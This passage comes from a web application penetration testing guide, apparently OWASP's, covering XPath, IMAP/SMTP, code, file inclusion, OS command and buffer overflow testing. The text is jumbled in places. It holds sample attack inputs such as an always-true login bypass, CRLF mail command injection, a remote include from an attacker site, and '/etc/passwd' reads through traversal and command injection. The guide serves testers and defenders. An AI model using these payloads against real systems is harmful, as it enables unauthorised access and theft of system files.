jeremiahgrossman.blogspot.com/2006/08/ssi-injectioninstead-of-javascript.html • IIS: “Notes on Server-Side Includes (SSI) syntax” - http://blogs. iis.net/robert_mcmurray/archive/2010/12/28/iis-notes-onserver-side-includes-ssi-syntax-kb-203064-revisited.aspx Testing for XPath Injection (OTG-INPVAL-010) Summary XPath is a language that has been designed and developed primarily to address parts of an XML document. In XPath injection testing, we test if it is possible to inject XPath syntax into a request interpreted by the application, allowing an attacker to execute user-controlled XPath queries.When successfully exploited, this vulnerability may allow an attacker to bypass authentication mechanisms or access information without proper authorization. Web applications heavily use databases to store and access the data they need for their operations.Historically, relational databases have been by far the most common technology for data storage, but, in the last years, we are witnessing an increasing popularity for databases that organize data using the XML language. Just like relational databases are accessed via SQL language, XML databases use XPath as their standard query language. Since, from a conceptual point of view, XPath is very similar to SQL in its purpose and applications, an interesting result is that XPath injection attacks follow the same logic as SQL Injection attacks. In some aspects, XPath is even more powerful than standard SQL, as its whole power is already present in its specifications, whereas a large number of the techniques that can be used in a SQL Injection attack depend on the characteristics of the SQL dialect used by the target database. This means that XPath injection attacks can be much more adaptable and ubiquitous.Another advantage of an XPath injection attack is that, unlike SQL, no ACLs are enforced, as our query can access every part of the XML document. How to Test The XPath attack pattern was first published by Amit Klein [1] and is very similar to the usual SQL Injection.In order to get a first grasp of the problem, let’s imagine a login page that manages the authentication to an application in which the user must enter his/ her username and password.Let’s assume that our database is represented by the following XML file: gandalf !c3 admin Stefan0 w1s3c guest tony Un6R34kb!e guest An XPath query that returns the account whose username is “gandalf” and the password is “!c3” would be the following: 139 Web Application Penetration Testing string(//user[username/text()=’gandalf’ and password/text()=’!c3’]/account/text()) If the application does not properly filter user input, the tester will be able to inject XPath code and interfere with the query result. For instance, the tester could input the following values: Username: ‘ or ‘1’ = ‘1 Password: ‘ or ‘1’ = ‘1 front-end web servers.Therefore, mail server results may be more vulnerable to attacks by end users (see the scheme presented in Figure 1). WEBMAIL USER 1 Looks quite familiar, doesn’t it? Using these parameters, the query becomes: INTERNET string(//user[username/text()=’’ or ‘1’ = ‘1’ and password/ text()=’’ or ‘1’ = ‘1’]/account/text()) As in a common SQL Injection attack, we have created a query that always evaluates to true, which means that the application will authenticate the user even if a username or a password have not been provided. And as in a common SQL Injection attack, with XPath injection, the first step is to insert a single quote (‘) in the field to be tested, introducing a syntax error in the query, and to check whether the application returns an error message. If there is no knowledge about the XML data internal details and if the application does not provide useful error messages that help us reconstruct its internal logic, it is possible to perform a Blind XPath Injection attack, whose goal is to reconstruct the whole data structure. The technique is similar to inference based SQL Injection, as the approach is to inject code that creates a query that returns one bit of information. Blind XPath Injection is explained in more detail by Amit Klein in the referenced paper. References Whitepapers • Amit Klein: “Blind XPath Injection” http://www.modsecurity.org/archive/amit/blind-xpathinjection.pdf • XPath 1.0 specifications - http://www.w3.org/TR/xpath PUBLIC ZONE 2 WEBMAIL APPLICATION 2 3 PRIVATE ZONE (HIDDEN SERVERS) Testing for IMAP/SMTP Injection (OTG-INPVAL-011) Summary This threat affects all applications that communicate with mail servers (IMAP/SMTP), generally webmail applications. The aim of this test is to verify the capacity to inject arbitrary IMAP/SMTP commands into the mail servers, due to input data not being properly sanitized. The IMAP/SMTP Injection technique is more effective if the mail server is not directly accessible from Internet. Where full communication with the backend mail server is possible, it is recommended to conduct direct testing. An IMAP/SMTP Injection makes it possible to access a mail server which otherwise would not be directly accessible from the Internet. In some cases, these internal systems do not have the same level of infrastructure security and hardening that is applied to the MAIL SERVERS Figure 1 depicts the flow of traffic generally seen when using webmail technologies. Step 1 and 2 is the user interacting with the webmail client, whereas step 2 is the tester bypassing the webmail client and interacting with the back-end mail servers directly. This technique allows a wide variety of actions and attacks. The possibilities depend on the type and scope of injection and the mail server technology being tested. Some examples of attacks using the IMAP/SMTP Injection technique are: 140 Web Application Penetration Testing • Exploitation of vulnerabilities in the IMAP/SMTP protocol • Application restrictions evasion • Anti-automation process evasion • Information leaks • Relay/SPAM How to Test The standard attack patterns are: • Identifying vulnerable parameters • Understanding the data flow and deployment structure of the client • IMAP/SMTP command injection Identifying vulnerable parameters In order to detect vulnerable parameters, the tester has to analyze the application’s ability in handling input. Input validation testing requires the tester to send bogus, or malicious, requests to the server and analyse the response. In a secure application, the response should be an error with some corresponding action telling the client that something has gone wrong. In a vulnerable application, the malicious request may be processed by the back-end application that will answer with a “HTTP 200 OK” response message. It is important to note that the requests being sent should match the technology being tested. Sending SQL injection strings for Microsoft SQL server when a MySQL server is being used will result in false positive responses. In this case, sending malicious IMAP commands is modus operandi since IMAP is the underlying protocol being tested. IMAP special parameters that should be used are: On the IMAP server On the SMTP server Authentication Emissor e-mail operations with mail boxes (list, read, create, delete, rename) Destination e-mail operations with messages (read, copy, move, delete) Subject Disconnection Message body • Substitute the value with a random value: http:///src/read_body.php?mailbox=NOTEXIST&passed_id=46106&startMessage=1 • Add other values to the parameter: http:///src/read_body.php?mailbox=INBOX PARAMETER2&passed_id=46106&startMessage=1 • Add non standard special characters (i.e.: \, ‘, “, @, #, !, |): http:///src/read_body.php?mailbox=INBOX”&passed_id=46106&startMessage=1 • Eliminate the parameter: http:///src/read_body.php?passed_ id=46106&startMessage=1 The final result of the above testing gives the tester three possible situations: S1 - The application returns a error code/message S2 - The application does not return an error code/message, but it does not realize the requested operation S3 - The application does not return an error code/message and realizes the operation requested normally Situations S1 and S2 represent successful IMAP/SMTP injection. An attacker’s aim is receiving the S1 response, as it is an indicator that the application is vulnerable to injection and further manipulation. Let’s suppose that a user retrieves the email headers using the following HTTP request: http:///src/view_header.php?mailbox=INBOX&passed_id=46105&passed_ent_id=0 Attached files In this example, the “mailbox” parameter is being tested by manipulating all requests with the parameter in: http:///src/read_body.php?mailbox=INBOX&passed_id=46106&startMessage=1 The following examples can be used. • Assign a null value to the parameter: http:///src/read_body.php?mailbox=&passed_ id=46106&startMessage=1 An attacker might modify the value of the parameter INBOX by injecting the character “ (%22 using URL encoding): http:///src/view_header.php?mailbox=INBOX%22&passed_id=46105&passed_ent_id=0 In this case, the application answer may be: ERROR: Bad or malformed request. Query: SELECT “INBOX”” Server responded: Unexpected extra arguments to Select 141 Web Application Penetration Testing The situation S2 is harder to test successfully. The tester needs to use blind command injection in order to determine if the server is vulnerable. On the other hand, the last situation (S3) is not revelant in this paragraph. Result Expected: • List of vulnerable parameters • Affected functionality • Type of possible injection (IMAP/SMTP) Understanding the data flow and deployment structure of the client After identifying all vulnerable parameters (for example, “passed_id”), the tester needs to determine what level of injection is possible and then design a testing plan to further exploit the application. In this test case, we have detected that the application’s “passed_id” parameter is vulnerable and is used in the following request: http:///src/read_body.php?mailbox=INBOX&passed_id=46225&startMessage=1 Using the following test case (providing an alphabetical value when a numerical value is required): http:///src/read_body.php?mailbox=INBOX&passed_id=test&startMessage=1 will generate the following error message: ERROR : Bad or malformed request. Query: FETCH test:test BODY[HEADER] Server responded: Error in IMAP command received by server. In this example, the error message returned the name of the executed command and the corresponding parameters. In other situations, the error message (“not controlled” by the application) contains the name of the executed command, but reading the suitable RFC (see “Reference” paragraph) allows the tester to understand what other possible commands can be executed. If the application does not return descriptive error messages, the tester needs to analyze the affected functionality to deduce all the possible commands (and parameters) associated with the above mentioned functionality. For example, if a vulnerable parameter has been detected in the create mailbox functionality, it is logical to assume that the affected IMAP command is “CREATE”. According to the RFC, the CREATE command accepts one parameter which specifies the name of the mailbox to create. Result Expected: • List of IMAP/SMTP commands affected • Type, value, and number of parameters expected by the affected IMAP/SMTP commands IMAP/SMTP command injection Once the tester has identified vulnerable parameters and has analyzed the context in which they are executed, the next stage is exploiting the functionality. This stage has two possible outcomes: [1] The injection is possible in an unauthenticated state: the affected functionality does not require the user to be authenticated. The injected (IMAP) commands available are limited to: CAPABILITY, NOOP, AUTHENTICATE, LOGIN, and LOGOUT. [2] The injection is only possible in an authenticated state: the successful exploitation requires the user to be fully authenticated before testing can continue. In any case, the typical structure of an IMAP/SMTP Injection is as follows: • Header: ending of the expected command; • Body: injection of the new command; • Footer: beginning of the expected command. It is important to remember that, in order to execute an IMAP/ SMTP command, the previous command must be terminated with the CRLF (%0d%0a) sequence. Let’s suppose that in the stage 1 (“Identifying vulnerable parameters”), the attacker detects that the parameter “message_id” in the following request is vulnerable: http:///read_email.php?message_id=4791 Let’s suppose also that the outcome of the analysis performed in the stage 2 (“Understanding the data flow and deployment structure of the client”) has identified the command and arguments associated with this parameter as: FETCH 4791 BODY[HEADER] In this scenario, the IMAP injection structure would be: http:///read_email.php?message_id=4791 BODY[HEADER]%0d%0aV100 CAPABILITY%0d%0aV101 FETCH 4791 Which would generate the following commands: ???? FETCH 4791 BODY[HEADER] V100 CAPABILITY V101 FETCH 4791 BODY[HEADER] 142 Web Application Penetration Testing where: Header = 4791 BODY[HEADER] Body = %0d%0aV100 CAPABILITY%0d%0a Footer = V101 FETCH 4791 Result Expected: • Arbitrary IMAP/SMTP command injection References Whitepapers • RFC 0821 “Simple Mail Transfer Protocol”. • RFC 3501 “Internet Message Access Protocol - Version 4rev1”. • Vicente Aguilera Díaz: “MX Injection: Capturing and Exploiting Hidden Mail Servers” - http://www.webappsec.org/projects/ articles/121106.pdf Testing for Code Injection (OTG-INPVAL-012) Summary This section describes how a tester can check if it is possible to enter code as input on a web page and have it executed by the web server. In Code Injection testing, a tester submits input that is processed by the web server as dynamic code or as an included file. These tests can target various server-side scripting engines, e.g.., ASP or PHP. Proper input validation and secure coding practices need to be employed to protect against these attacks. How to Test Black Box testing Testing for PHP Injection vulnerabilities Using the querystring, the tester can inject code (in this example, a malicious URL) to be processed as part of the included file: Result Expected: http://www.example.com/uptime.php?pin=http://www. example2.com/packx1/cs.jpg?&cmd=uname%20-a The malicious URL is accepted as a parameter for the PHP page, which will later use the value in an included file. Gray Box testing Testing for ASP Code Injection vulnerabilities Examine ASP code for user input used in execution functions. Can the user enter commands into the Data input field? Here, the ASP code will save the input to a file and then execute it: <% If not isEmpty(Request( “Data” ) ) Then Dim fso, f ‘User input Data is written to a file named data.txt Set fso = CreateObject(“Scripting.FileSystemObject”) Set f = fso.OpenTextFile(Server.MapPath( “data.txt” ), 8, True) f.Write Request(“Data”) & vbCrLf f.close Set f = nothing Set fso = Nothing ‘Data.txt is executed Server.Execute( “data.txt” ) Else %> <% End If %>))) References • Security Focus - http://www.securityfocus.com • Insecure.org - http://www.insecure.org • Wikipedia - http://www.wikipedia.org • Reviewing Code for OS Injection Testing for Local File Inclusion Summary The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a “dynamic file inclusion” mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation. This can lead to something as outputting the contents of the file, but depending on the severity, it can also lead to: • Code execution on the web server • Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS) • Denial of Service (DoS) • Sensitive Information Disclosure Local File Inclusion (also known as LFI) is the process of including files, that are already locally present on the server, through the exploiting of vulnerable inclusion procedures implemented in the application. This vulnerability occurs, for example, when a page receives, as input, the path to the file that has to be included and this input is not properly sanitized, allowing directory traversal characters (such as dot-dot-slash) to be injected. Although most examples point to vulnerable PHP scripts, we should keep in mind that it is also common in other technologies such as JSP, ASP and others. How to Test Since LFI occurs when paths passed to “include” statements are not properly sanitized, in a blackbox testing approach, we should look for scripts which take filenames as parameters. Consider the following example: http://vulnerable_host/preview.php?file=example.html This looks as a perfect place to try for LFI. If an attacker is lucky enough, and instead of selecting the appropriate page from the 143 Web Application Penetration Testing array by its name, the script directly includes the input parameter, it is possible to include arbitrary files on the server. Typical proof-of-concept would be to load passwd file: http://vulnerable_host/preview.php?file=../../../../etc/passwd If the above mentioned conditions are met, an attacker would see something like the following: root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin alex:x:500:500:alex:/home/alex:/bin/bash margo:x:501:501::/home/margo:/bin/bash ... Very often, even when such vulnerability exists, its exploitation is a bit more complex. Consider the following piece of code: In the case, simple substitution with arbitrary filename would not work as the postfix ‘php’ is appended. In order to bypass it, a technique with null-byte terminators is used. Since %00 effectively presents the end of the string, any characters after this special byte will be ignored. Thus, the following request will also return an attacker list of basic users attributes: http://vulnerable_host/preview.php?file=../../../../etc/passwd%00 References • Wikipedia - http://www.wikipedia.org/wiki/Local_File_Inclusion • Hakipedia - http://hakipedia.com/index.php/Local_File_Inclusion Remediation The most effective solution to eliminate file inclusion vulnerabilities is to avoid passing user-submitted input to any filesystem/framework API. If this is not possible the application can maintain a white list of files, that may be included by the page, and then use an identifier (for example the index number) to access to the selected file. Any request containing an invalid identifier has to be rejected, in this way there is no attack surface for malicious users to manipulate the path. Testing for Remote File Inclusion Summary The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a “dynamic file inclusion” mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation. This can lead to something as outputting the contents of the file, but depending on the severity, it can also lead to: • Code execution on the web server • Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS) • Denial of Service (DoS) • Sensitive Information Disclosure Remote File Inclusion (also known as RFI) is the process of including remote files through the exploiting of vulnerable inclusion procedures implemented in the application. This vulnerability occurs, for example, when a page receives, as input, the path to the file that has to be included and this input is not properly sanitized, allowing external URL to be injected. Although most examples point to vulnerable PHP scripts, we should keep in mind that it is also common in other technologies such as JSP, ASP and others. How to Test Since RFI occurs when paths passed to “include” statements are not properly sanitized, in a blackbox testing approach, we should look for scripts which take filenames as parameters. Consider the following PHP example:$incfile = $_REQUEST[“file”]; include($incfile.”.php”);
In this example the path is extracted from the HTTP request and no
input validation is done (for example, by checking the input against a
white list), so this snippet of code results vulnerable to this type of
attack. Consider infact the following URL:
http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicous_page
In this case the remote file is going to be included and any code contained in it is going to be run by the server.
References
Whitepapers
• “Remote File Inclusion” - http://projects.webappsec.org/w/
page/13246955/Remote%20File%20Inclusion
• Wikipedia: “Remote File Inclusion” - http://en.wikipedia.org/wiki/
Remote_File_Inclusion
Remediation
The most effective solution to eliminate file inclusion vulnerabilities
is to avoid passing user-submitted input to any filesystem/framework API. If this is not possible the application can maintain a white
list of files, that may be included by the page, and then use an identifier (for example the index number) to access to the selected file. Any
request containing an invalid identifier has to be rejected, in this way
there is no attack surface for malicious users to manipulate the path.

Testing for Command Injection (OTG-INPVAL-013)

Summary
This article describes how to test an application for OS command injection. The tester will try to inject an OS command through an HTTP
request to the application.
OS command injection is a technique used via a web interface in
order to execute OS commands on a web server. The user supplies
operating system commands through a web interface in order to execute OS commands. Any web interface that is not properly sanitized

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is subject to this exploit. With the ability to execute OS commands,
OS command injection is preventable when security is emphasized
during the design and development of applications.
How to Test
When viewing a file in a web application, the file name is often shown
in the URL. Perl allows piping data from a process into an open statement. The user can simply append the Pipe symbol “|” onto the end
of the file name.
Example URL before alteration:
http://sensitive/cgi-bin/userData.pl?doc=user1.txt
Example URL modified:
http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|
This will execute the command “/bin/ls”.
Appending a semicolon to the end of a URL for a .PHP page followed
by an operating system command, will execute the command. %3B is
url encoded and decodes to semicolon
Example:
http://sensitive/something.php?dir=%3Bcat%20/etc/passwd
Example
Consider the case of an application that contains a set of documents
that you can browse from the Internet. If you fire up WebScarab, you
can obtain a POST HTTP like the following:
In this post request, we notice how the application retrieves the public documentation. Now we can test if it is possible to add an operating system command to inject in the POST HTTP. Try the following:
POST http://www.example.com/public/doc HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it;
rv:1.8.1) Gecko/20061010 FireFox/2.0
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://127.0.0.1/WebGoat/attack?Screen=20
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=
Content-Type: application/x-www-form-urlencoded
Content-length: 33
Doc=Doc1.pdf

If the application doesn’t validate the request, we can obtain the following result:
POST http://www.example.com/public/doc HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it;
rv:1.8.1) Gecko/20061010 FireFox/2.0
Accept: text/xml,application/xml,application/xhtml+xml,text/
html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://127.0.0.1/WebGoat/attack?Screen=20
Authorization: Basic T2Vbc1Q9Z3V2Tc3e=
Content-Type: application/x-www-form-urlencoded
Content-length: 33
Doc=Doc1.pdf+|+Dir c:\
In this case, we have successfully performed an OS injection attack.
Exec Results for ‘cmd.exe /c type “C:\httpd\public\
doc\”Doc=Doc1.pdf+|+Dir c:\’
Output...
Il volume nell’unità C non ha etichetta.
Numero di serie Del volume: 8E3F-4B61
Directory of c:\
18/10/2006 00:27 2,675 Dir_Prog.txt
18/10/2006 00:28 3,887 Dir_ProgFile.txt
16/11/2006 10:43
Doc
11/11/2006 17:25
Documents and Settings
25/10/2006 03:11
I386
14/11/2006 18:51
h4ck3r
30/09/2005 21:40 25,934
OWASP1.JPG
03/11/2006 18:29
Prog
18/11/2006 11:20
Program Files
16/11/2006 21:12
Software
24/10/2006 18:25
Setup
24/10/2006 23:37
Technologies
18/11/2006 11:14
3 File 32,496 byte
13 Directory 6,921,269,248 byte disponibili
Return code: 0

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Tools

• OWASP WebScarab
• OWASP WebGoat
References
White papers
• http://www.securityfocus.com/infocus/1709
Remediation
Sanitization
The URL and form data needs to be sanitized for invalid characters. A “blacklist” of characters is an option but it may be difficult
to think of all of the characters to validate against. Also there
may be some that were not discovered as of yet. A “white list”
containing only allowable characters should be created to validate the user input. Characters that were missed, as well as undiscovered threats, should be eliminated by this list.
Permissions
The web application and its components should be running under
strict permissions that do not allow operating system command
execution. Try to verify all these informations to test from a Gray
Box point of view

Testing for Buffer Overflow (OTG-INPVAL-014)

Summary
to Buffer Overflow pages.
See the OWASP article on Buffer Overflow Attacks.

in these tags is overwritten. When the heap management routine frees the buffer, a memory address overwrite takes place
leading to an access violation. When the overflow is executed in a
controlled fashion, the vulnerability would allow an adversary to
overwrite a desired memory location with a user-controlled value. In practice, an attacker would be able to overwrite function
pointers and various addresses stored in structures like GOT,
There are numerous variants of the heap overflow (heap corruption) vulnerability that can allow anything from overwriting
function pointers to exploiting memory management structures
for arbitrary code execution. Locating heap overflows requires
closer examination in comparison to stack overflows, since there
are certain conditions that need to exist in the code for these
vulnerabilities to be exploitable.
How to Test
Black Box testing
The principles of black box testing for heap overflows remain the
same as stack overflows. The key is to supply as input strings
that are longer than expected. Although the test process remains the same, the results that are visible in a debugger are
significantly different. While in the case of a stack overflow, an
instruction pointer or SEH overwrite would be apparent, this
does not hold true for a heap overflow condition. When debugging a windows program, a heap overflow can appear in several
different forms, the most common one being a pointer exchange
taking place after the heap management routine comes into action. Shown below is a scenario that illustrates a heap overflow
vulnerability.

See the OWASP article on Buffer Overflow Vulnerabilities.
How to test
Different types of buffer overflow vulnerabilities have different
testing methods. Here are the testing methods for the common
types of buffer overflow vulnerabilities.
• Testing for heap overflow vulnerability
• Testing for stack overflow vulnerability
• Testing for format string vulnerability
Code Review
See the OWASP Code Review Guide article on how to Review
Code for Buffer Overruns and Overflows Vulnerabilities.
Remediation
See the OWASP Development Guide article on how to Avoid Buffer Overflow Vulnerabilities.

Testing for Heap Overflow

Summary
In this test the penetration tester checks whether a they can
make a Heap overflow that exploits a memory segment.
Heap is a memory segment that is used for storing dynamically allocated data and global variables. Each chunk of memory in
heap consists of boundary tags that contain memory management information.
When a heap-based buffer is overflowed the control information

The two registers shown, EAX and ECX, can be populated with
user supplied addresses which are a part of the data that is used
to overflow the heap buffer. One of the addresses can point to a
function pointer which needs to be overwritten, for example UEF
(Unhandled Exception filter), and the other can be the address of
user supplied code that needs to be executed.
When the MOV instructions shown in the left pane are executed, the overwrite takes place and, when the function is called,
user supplied code gets executed. As mentioned previously, other methods of testing such vulnerabilities include reverse engineering the application binaries, which is a complex and tedious

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process, and using fuzzing techniques.
Gray Box testing
When reviewing code, one must realize that there are several
avenues where heap related vulnerabilities may arise. Code that
seems innocuous at the first glance can actually be vulnerable
under certain conditions. Since there are several variants of this
vulnerability, we will cover only the issues that are predominant.
Most of the time, heap buffers are considered safe by a lot of developers who do not hesitate to perform insecure operations like
strcpy( ) on them. The myth that a stack overflow and instruction
pointer overwrite are the only means to execute arbitrary code
proves to be hazardous in case of code shown below:int main(int argc, char *argv[])
{
……

vulnerable(argv[1]);
return 0;
}

int vulnerable(char *buf)
{

HANDLE hp = HeapCreate(0, 0, 0);

HLOCAL chunk = HeapAlloc(hp, 0, 260);

strcpy(chunk, buf); ‘’’ Vulnerability’’’
……..

return 0;
}
In this case, if buf exceeds 260 bytes, it will overwrite pointers in
the adjacent boundary tag, facilitating the overwrite of an arbitrary memory location with 4 bytes of data once the heap management routine kicks in.
Lately, several products, especially anti-virus libraries, have
been affected by variants that are combinations of an integer
overflow and copy operations to a heap buffer. As an example,
consider a vulnerable code snippet, a part of code responsible for
processing TNEF filetypes, from Clam Anti Virus 0.86.1, source
file tnef.c and function tnef_message( ):
string = cli_malloc(length + 1); ‘’’ Vulnerability’’’
if(fread(string, 1, length, fp) != length) {‘’’ Vulnerability’’’
free(string);
return -1;
}

The malloc in line 1 allocates memory based on the value of
length, which happens to be a 32 bit integer. In this particular example, length is user-controllable and a malicious TNEF file can
be crafted to set length to ‘-1’, which would result in malloc( 0 ).
Therefore, this malloc would allocate a small heap buffer, which
would be 16 bytes on most 32 bit platforms (as indicated in malloc.h).
And now, in line 2, a heap overflow occurs in the call to fread(
). The 3rd argument, in this case length, is expected to be a
size_t variable. But if it’s going to be ‘-1’, the argument wraps to
0xFFFFFFFF, thus copying 0xFFFFFFFF bytes into the 16 byte
buffer.
Static code analysis tools can also help in locating heap related
vulnerabilities such as “double free” etc. A variety of tools like
RATS, Flawfinder and ITS4 are available for analyzing C-style
languages.

Tools

• OllyDbg: “A windows based debugger used for analyzing buffer
overflow vulnerabilities” - http://www.ollydbg.de
• Spike, A fuzzer framework that can be used to explore
• Brute Force Binary Tester (BFB), A proactive binary checker http://bfbtester.sourceforge.net
• Metasploit, A rapid exploit development and Testing frame
work - http://www.metasploit.com
References
Whitepapers
• w00w00: “Heap Overflow Tutorial” http://www.cgsecurity.org/exploit/heaptut.txt
• David Litchfield: “Windows Heap Overflows” http://www.blackhat.com/presentations/win-usa-04/bhwin-04-litchfield/bh-win-04-litchfield.ppt

Testing for Stack Overflow

Summary
Stack overflows occur when variable size data is copied into fixed
length buffers located on the program stack without any bounds
checking. Vulnerabilities of this class are generally considered to
be of high severity since their exploitation would mostly permit
arbitrary code execution or Denial of Service. Rarely found in interpreted platforms, code written in C and similar languages is
often ridden with instances of this vulnerability. In fact almost
every platform is vulnerable to stack overflows with the following notable exceptions:
• J2EE – as long as native methods or system calls are not
invoked
• .NET – as long as /unsafe or unmanaged code is not invoked
(such as the use of P/Invoke or COM Interop)
• PHP – as long as external programs and vulnerable PHP
extensions written in C or C++ are not called can suffer from
stack overflow issues.
Stack overflow vulnerabilities often allow an attacker to directly
take control of the instruction pointer and, therefore, alter the
execution of the program and execute arbitrary code. Besides

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overwriting the instruction pointer, similar results can also be
obtained by overwriting other variables and structures, like Exception Handlers, which are located on the stack.

On opening the executable with the supplied arguments and
continuing execution the following results are obtained.

How to Test
Black Box testing
The key to testing an application for stack overflow vulnerabilities is supplying overly large input data as compared to what is
expected. However, subjecting the application to arbitrarily large
data is not sufficient. It becomes necessary to inspect the application’s execution flow and responses to ascertain whether an
overflow has actually been triggered or not. Therefore, the steps
required to locate and validate stack overflows would be to attach a debugger to the target application or process, generate
malformed input for the application, subject the application to
malformed input, and inspect responses in a debugger. The debugger allows the tester to view the execution flow and the state
of the registers when the vulnerability gets triggered.
On the other hand, a more passive form of testing can be employed, which involves inspecting assembly code of the application by using disassemblers. In this case, various sections are
scanned for signatures of vulnerable assembly fragments. This
is often termed as reverse engineering and is a tedious process.
As a simple example, consider the following technique employed
while testing an executable “sample.exe” for stack overflows:
#include
int main(int argc, char *argv[])
{
char buff[20];
printf(“copying into buffer”);
strcpy(buff,argv[1]);
return 0;
}
File sample.exe is launched in a debugger, in our case OllyDbg.

As shown in the registers window of the debugger, the EIP or Extended Instruction Pointer, which points to the next instruction
to be executed, contains the value ‘41414141’. ‘41’ is a hexadecimal representation for the character ‘A’ and therefore the string
‘AAAA’ translates to 41414141.
This clearly demonstrates how input data can be used to overwrite the instruction pointer with user-supplied values and control program execution. A stack overflow can also allow overwriting of stack-based structures like SEH (Structured Exception
Handler) to control code execution and bypass certain stack protection mechanisms.
As mentioned previously, other methods of testing such vulnerabilities include reverse engineering the application binaries,
which is a complex and tedious process, and using fuzzing techniques.
Gray Box testing
When reviewing code for stack overflows, it is advisable to
search for calls to insecure library functions like gets(), strcpy(),
strcat() etc which do not validate the length of source strings and
blindly copy data into fixed size buffers.
For example consider the following function:void log_create(int severity, char *inpt) {

Since the application is expecting command line arguments, a
large sequence of characters such as ‘A’, can be supplied in the
argument field shown above.

char b[1024];

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if (severity == 1)
{
strcat(b,”Error occurred on”);
strcat(b,”:”);
strcat(b,inpt);

FILE *fd = fopen (“logfile.log”, “a”);
fprintf(fd, “%s”, b);
fclose(fd);
......
}
From above, the line strcat(b,inpt) will result in a stack overflow
if inpt exceeds 1024 bytes. Not only does this demonstrate an
insecure usage of strcat, it also shows how important it is to
examine the length of strings referenced by a character pointer that is passed as an argument to a function; In this case the
length of string referenced by char *inpt. Therefore it is always
a good idea to trace back the source of function arguments and
ascertain string lengths while reviewing code.
Usage of the relatively safer strncpy() can also lead to stack
overflows since it only restricts the number of bytes copied into
the destination buffer. If the size argument that is used to accomplish this is generated dynamically based on user input or
calculated inaccurately within loops, it is possible to overflow
stack buffers. For example:void func(char *source)
{
Char dest[40];
…
size=strlen(source)+1
….
strncpy(dest,source,size)
}
where source is user controllable data. A good example would be
the samba trans2open stack overflow vulnerability (http://www.
securityfocus.com/archive/1/317615).
Vulnerabilities can also appear in URL and address parsing code.
In such cases, a function like memccpy() is usually employed
which copies data into a destination buffer from source until a
specified character is not encountered. Consider the function:
void func(char *path)
{
…
….
}

In this case the information contained in path could be greater
than 40 bytes before ‘\’ can be encountered. If so it will cause a
stack overflow. A similar vulnerability was located in Windows
RPCSS subsystem (MS03-026). The vulnerable code copied
server names from UNC paths into a fixed size buffer until a ‘\’
was encountered. The length of the server name in this case was
controllable by users.
Apart from manually reviewing code for stack overflows, static code analysis tools can also be of great assistance. Although
they tend to generate a lot of false positives and would barely be
able to locate a small portion of defects, they certainly help in reducing the overhead associated with finding low hanging fruits,
like strcpy() and sprintf() bugs.
A variety of tools like RATS, Flawfinder and ITS4 are available for
analyzing C-style languages.

Tools

• OllyDbg: “A windows based debugger used for analyzing buffer
overflow vulnerabilities” - http://www.ollydbg.de
• Spike, A fuzzer framework that can be used to explore
vulnerabilities and perform length testing - http://www.
• Brute Force Binary Tester (BFB), A proactive binary checker http://bfbtester.sourceforge.net/
• Metasploit, A rapid exploit development and Testing frame
work - http://www.metasploit.com
References
Whitepapers
• Aleph One: “Smashing the Stack for Fun and Profit” http://insecure.org/stf/smashstack.html
• The Samba trans2open stack overflow vulnerability http://www.
securityfocus.com/archive/1/317615
• Windows RPC DCOM vulnerability details http://www.xfocus.
org/documents/200307/2.html

Testing for Format String

Summary
This section describes how to test for format string attacks that can
be used to crash a program or to execute harmful code. The problem stems from the use of unfiltered user input as the format string
parameter in certain C functions that perform formatting, such as
printf().
Various C-Style languages provision formatting of output by means
of functions like printf( ), fprintf( ) etc. Formatting is governed by a
parameter to these functions termed as format type specifier, typically %s, %c etc. The vulnerability arises when format functions are
called with inadequate parameters validation and user controlled
data.
A simple example would be printf(argv[1]). In this case the type specifier has not been explicitly declared, allowing a user to pass characters such as %s, %n, %x to the application by means of command line
argument argv[1].
This situation tends to become precarious since a user who can supply format specifiers can perform the following malicious actions:

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Enumerate Process Stack: This allows an adversary to view stack
organization of the vulnerable process by supplying format strings,
such as %x or %p, which can lead to leakage of sensitive information.
It can also be used to extract canary values when the application is
protected with a stack protection mechanism. Coupled with a stack
overflow, this information can be used to bypass the stack protector.
Control Execution Flow: This vulnerability can also facilitate arbitrary code execution since it allows writing 4 bytes of data to an address supplied by the adversary. The specifier %n comes handy for
overwriting various function pointers in memory with address of the
malicious payload. When these overwritten function pointers get
called, execution passes to the malicious code.

printf(“The string entered is\n”);
printf(“%s”,argv[1]);
return 0;
}
when the disassembly is examined using IDA Pro, the address of a
format type specifier being pushed on the stack is clearly visible before a call to printf is made.

Denial of Service: If the adversary is not in a position to supply malicious code for execution, the vulnerable application can be crashed
by supplying a sequence of %x followed by %n.
How to Test
Black Box testing
The key to testing format string vulnerabilities is supplying format
type specifiers in application input.
For example, consider an application that processes the URL string
http://xyzhost.com/html/en/index.htm or accepts inputs from
forms. If a format string vulnerability exists in one of the routines
processing this information, supplying a URL like http://xyzhost.
com/html/en/index.htm%n%n%n or passing %n in one of the form
fields might crash the application creating a core dump in the hosting
folder.

On the other hand, when the same code is compiled without “%s” as
an argument , the variation in assembly is apparent. As seen below,
there is no offset being pushed on the stack before calling printf.

